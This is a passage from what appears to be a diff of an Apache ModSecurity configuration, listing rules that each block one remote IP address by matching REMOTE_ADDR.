REMOTE_ADDR 59\.19\.100\.40 < SecFilterSelective REMOTE_ADDR 61\.100\.174\.21 < SecFilterSelective REMOTE_ADDR 61\.100\.23\.6 < SecFilterSelective REMOTE_ADDR 61\.14\.69\.74 < SecFilterSelective REMOTE_ADDR 61\.98\.28\.7 < SecFilterSelective REMOTE_ADDR 62\.17\.22\.93 < SecFilterSelective REMOTE_ADDR 62\.216\.16\.184 < SecFilterSelective REMOTE_ADDR 62\.56\.238\.36 < SecFilterSelective REMOTE_ADDR 65\.127\.112\.195 < SecFilterSelective REMOTE_ADDR 66\.139\.76\.153 < SecFilterSelective REMOTE_ADDR 66\.139\.85\.114 < SecFilterSelective REMOTE_ADDR 68\.44\.167\.76 < SecFilterSelective REMOTE_ADDR 81\.168\.155\.55 < SecFilterSelective REMOTE_ADDR 82\.107\.35\.156 < SecFilterSelective REMOTE_ADDR 82\.224\.39\.98 < SecFilterSelective REMOTE_ADDR 200\.217\.3\.1 < SecFilterSelective REMOTE_ADDR 147\.110\.61\.39 < SecFilterSelective REMOTE_ADDR 216\.168\.237\.71 < SecFilterSelective REMOTE_ADDR 220\.245\.179\.132 < SecFilterSelective REMOTE_ADDR 221\.193\.22\.49 < SecFilterSelective REMOTE_ADDR 128\.178\.192\.18 < SecFilterSelective REMOTE_ADDR 138\.231\.176\.5 < SecFilterSelective REMOTE_ADDR 140\.110\.17\.161 < SecFilterSelective REMOTE_ADDR 140\.130\.42\.92 < SecFilterSelective REMOTE_ADDR 140\.99\.28\.50 < SecFilterSelective REMOTE_ADDR 142\.227\.64\.129 < SecFilterSelective REMOTE_ADDR 147\.202\.47\.31 < SecFilterSelective REMOTE_ADDR 163\.21\.36\.253 < SecFilterSelective REMOTE_ADDR 193\.189\.173\.125 < SecFilterSelective REMOTE_ADDR 194\.144\.188\.95 < SecFilterSelective REMOTE_ADDR 195\.225\.236\.162 < SecFilterSelective REMOTE_ADDR 195\.242\.98\.5 < SecFilterSelective REMOTE_ADDR 200\.73\.4\.225 < SecFilterSelective REMOTE_ADDR 200\.73\.8\.7 < SecFilterSelective REMOTE_ADDR 202\.134\.105\.76 < SecFilterSelective REMOTE_ADDR 202\.134\.73\.248 < SecFilterSelective REMOTE_ADDR 202\.134\.99\.135 < SecFilterSelective REMOTE_ADDR 202\.168\.198\.3 < SecFilterSelective REMOTE_ADDR 202\.172\.59\.37 < SecFilterSelective REMOTE_ADDR 202\.177\.13\.51 < SecFilterSelective REMOTE_ADDR 202\.66\.250\.100 < SecFilterSelective REMOTE_ADDR 202\.85\.154\.174 < SecFilterSelective REMOTE_ADDR 203\.146\.251\.58 < SecFilterSelective REMOTE_ADDR 203\.194\.148\.162 < SecFilterSelective REMOTE_ADDR 203\.25\.130\.5 < SecFilterSelective REMOTE_ADDR 203\.72\.251\.5 < SecFilterSelective REMOTE_ADDR 203\.98\.164\.204 < SecFilterSelective REMOTE_ADDR 204\.10\.39\.250 < SecFilterSelective REMOTE_ADDR 205\.214\.86\.15 < SecFilterSelective REMOTE_ADDR 207\.176\.202\.83 < SecFilterSelective REMOTE_ADDR 207\.234\.145\.137 < SecFilterSelective REMOTE_ADDR 207\.99\.46\.218 < SecFilterSelective REMOTE_ADDR 208\.187\.165\.249 < SecFilterSelective REMOTE_ADDR 209\.120\.136\.105 < SecFilterSelective REMOTE_ADDR 209\.145\.160\.65 < SecFilterSelective REMOTE_ADDR 209\.183\.9\.123 < SecFilterSelective REMOTE_ADDR 209\.219\.42\.136 < SecFilterSelective REMOTE_ADDR 209\.51\.138\.210 < SecFilterSelective REMOTE_ADDR 209\.63\.57\.141 < SecFilterSelective REMOTE_ADDR 209\.67\.214\.106 < SecFilterSelective REMOTE_ADDR 209\.98\.202\.178 < SecFilterSelective REMOTE_ADDR 210\.17\.236\.78 < SecFilterSelective REMOTE_ADDR 210\.245\.165\.76 < SecFilterSelective REMOTE_ADDR 210\.59\.51\.3 < SecFilterSelective REMOTE_ADDR 211\.115\.209\.28 < SecFilterSelective REMOTE_ADDR 212\.204\.60\.70 < SecFilterSelective REMOTE_ADDR 212\.246\.72\.18 < SecFilterSelective REMOTE_ADDR 212\.25\.170\.50 < SecFilterSelective REMOTE_ADDR 212\.85\.112\.15 < SecFilterSelective REMOTE_ADDR 213\.232\.92\.23 < SecFilterSelective REMOTE_ADDR 216\.152\.251\.170 < SecFilterSelective REMOTE_ADDR 216\.180\.243\.2 < SecFilterSelective REMOTE_ADDR 216\.208\.131\.195 < SecFilterSelective REMOTE_ADDR 216\.240\.128\.136 < SecFilterSelective REMOTE_ADDR 217\.114\.219\.196 < SecFilterSelective REMOTE_ADDR 217\.160\.78\.210 < SecFilterSelective REMOTE_ADDR 217\.20\.121\.71 < SecFilterSelective REMOTE_ADDR 218\.32\.192\.18 < SecFilterSelective REMOTE_ADDR 220\.130\.64\.112 < SecFilterSelective REMOTE_ADDR 220\.232\.130\.18 < SecFilterSelective REMOTE_ADDR 24\.199\.18\.126 < SecFilterSelective REMOTE_ADDR 61\.64\.67\.107 < SecFilterSelective REMOTE_ADDR 61\.67\.9\.224 < SecFilterSelective REMOTE_ADDR 62\.193\.216\.22 < SecFilterSelective REMOTE_ADDR 62\.193\.234\.100 < SecFilterSelective REMOTE_ADDR 62\.214\.98\.9 < SecFilterSelective REMOTE_ADDR 62\.93\.239\.21 < SecFilterSelective REMOTE_ADDR 63\.246\.156\.218 < SecFilterSelective REMOTE_ADDR 63\.247\.66\.42 < SecFilterSelective REMOTE_ADDR 64\.156\.24\.97 < SecFilterSelective REMOTE_ADDR 64\.21\.181\.130 < SecFilterSelective REMOTE_ADDR 64\.21\.80\.4 < SecFilterSelective REMOTE_ADDR 64\.34\.74\.124 < SecFilterSelective REMOTE_ADDR 64\.38\.0\.186 < SecFilterSelective REMOTE_ADDR 64\.39\.31\.105 < SecFilterSelective REMOTE_ADDR 64\.91\.253\.7 < SecFilt